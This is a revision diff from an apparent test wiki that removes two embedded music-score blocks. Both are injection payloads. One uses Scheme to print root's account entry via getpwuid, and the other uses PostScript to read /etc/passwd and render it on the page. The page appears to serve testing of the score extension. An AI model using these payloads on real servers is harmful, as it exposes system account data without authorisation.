From ZMOG test wiki (master branch)
Jump to navigation
Jump to search
|
|
| Line 22: |
Line 22: |
| \header { tagline = ##f } | | \header { tagline = ##f } |
| \paper { #(set-paper-size "a5") } | | \paper { #(set-paper-size "a5") } |
| </score>
| |
|
| |
| == LY getpwuid ==
| |
|
| |
| <score>
| |
| % 7
| |
| \new Staff <<{c^#
| |
|
| |
| (object->string (getpwuid 0))
| |
|
| |
| }>></score>
| |
|
| |
| == PS password ==
| |
|
| |
| <score>
| |
| % 6
| |
| \relative c' {
| |
| c ^\markup { \postscript #"
| |
| /TeXGyreSchola-Regular 4 output-scale div selectfont
| |
| currentpoint
| |
| /pass_y exch def
| |
| /pass_x exch def
| |
| /passfile (/etc/passwd) (r) file def
| |
| /passstr 10000 string def
| |
| {
| |
| passfile passstr readline
| |
| not { exit } if
| |
| show
| |
| /pass_y pass_y 2 sub def
| |
| pass_x pass_y moveto
| |
| } loop
| |
| " }
| |
| }
| |
| </score> | | </score> |
|
| |
|
Revision as of 02:44, 15 December 2022